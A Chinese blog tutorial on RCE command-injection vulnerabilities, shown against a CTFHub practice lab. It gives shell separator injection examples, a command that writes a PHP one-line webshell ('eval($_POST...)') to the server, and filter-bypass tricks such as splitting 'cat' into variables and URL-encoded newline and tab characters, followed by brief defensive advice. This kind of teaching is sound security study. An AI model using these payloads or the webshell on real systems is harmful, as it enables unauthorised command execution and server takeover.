WEB漏洞——RCE
2024-09-08 03:58:06
RCE(remote command/code execute)远程命令/代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE漏洞
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、 shell_exec、 passthru、 popen、 proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞
拼接命令时需要用到管道符
Windows管道符
- | :直接执行后面的语句。例如ping 127.0.0.1|whoami
- || :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。例如ping 2||whoami
- & :两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如ping 2&whoami
- && :如果前面的语句为假则直接出错,也不执行后面的话句,前面的语句为真则两条命令都执行,前面的语句只能为真。例如ping 127.0.0.1&&whoami
Linux管道符
- ; :执行完前面的语句再执行后面的语句。例如ping 127.0.0.1;whoami
- | :显示后面语句的执行结果。例如ping 127.0.0.1|whoami
- || :当前面的语句执行出错时,执行后面的语句。例如ping 2||whoami
- & :两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。例如ping 2&whoami
- &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。例如ping 127.0.0.1&&whoami
命令执行漏洞攻击演示
下面拿ctfhub中的命令注入靶场演示
是一个简单的ping网站的页面,输入ip进行ping命令,
输入ip没什么问题返回了结果,但是如果利用管道符拼接一些其他的系统命令例如whoami
成功执行了其他的系统命令
代码执行漏洞攻击演示
也可以利用系统命令写入一句话木马
127.0.0.1&echo "<?php @eval(\$_POST['test']);?>" > 1.php
至于一句话木马为什么要加 \ ,看了网上的回答。echo命令会调用$_POST导致原始文件中没有,因此需要改为echo "<?php @eval(\$_POST['test']);?>" > 1.php即可
写入一句话木马之后,接下来用蚁剑连接即可
命令执行绕过过滤
这里就列出几个常见的,可以举一反三
- 过滤cat
127.0.0.1;a=c;b=at;$a$b rce.php
或者127.0.0.1;a=c;b=at;${a}${b} rce_ping.php
- ; | & 符号过滤
用%0a来代替上面的符号。
- 过滤空格
如果空格也过滤掉,一般情况下%09
%0b
%0c
是有用的
防御RCE攻击
- 尽量不要使用命令执行函数。
- 客户端提交的变量在进入执行命令函数前要做好过滤和检测
- 在使用动态函数之前,确保使用的函数是指定的函数之ー。
- 对PHP语言来说,不能完全控制的危险函数最好不要使用
最新文章
- 剑指Offer面试题:1.实现Singleton模式
- MySql 连接字符串
- 【Web】URI和URL,及URL的编码
- 一天一小段js代码(no.2)
- Web Service中的几个重要术语
- php原子操作,文件锁flock,数据库事务
- linux下查看端口的连接数
- xamarin提供在线检查.net代码是否支援xamarin,ios,android
- HQL中左连接,右连接,内连接
- iOS 之 通知
- tomcat常用的配置
- Unix api
- Spring的quartz定时器重复执行二次的问题解决
- 阿里巴巴Java开发规范---个人总结
- calculate MAC,Lisence,Checksum and generate muti-file
- 总结:基于Oracle Logminer数据同步
- this和target目标对象的区别
- UILable 标题加粗代码
- dom操作 属性操作 样式操作
- 使用fir.im和蒲公英进行测试的一些注意事项
热门文章
- g6踩坑
- mongodb使用场景及与mysql区别
- 添加数据时报错:An error occurred while updating the entries. See the inner exception for detail。
- C/C++入门
- 【Azure 应用服务】Azure Function HTTP 触发后, 230秒就超时。而其他方式触发的Function, 执行5分钟后也超时,如何调整超时时间?
- sql注入漏洞笔记随笔
- Java流程控制02——顺序结构
- Android系统编程入门系列之服务Service齐头并进多线程任务
- JAVA集合体系之-开篇
- [编译] 9、在Linux下搭建 nordic 最新基于 zephyr 的开发烧写环境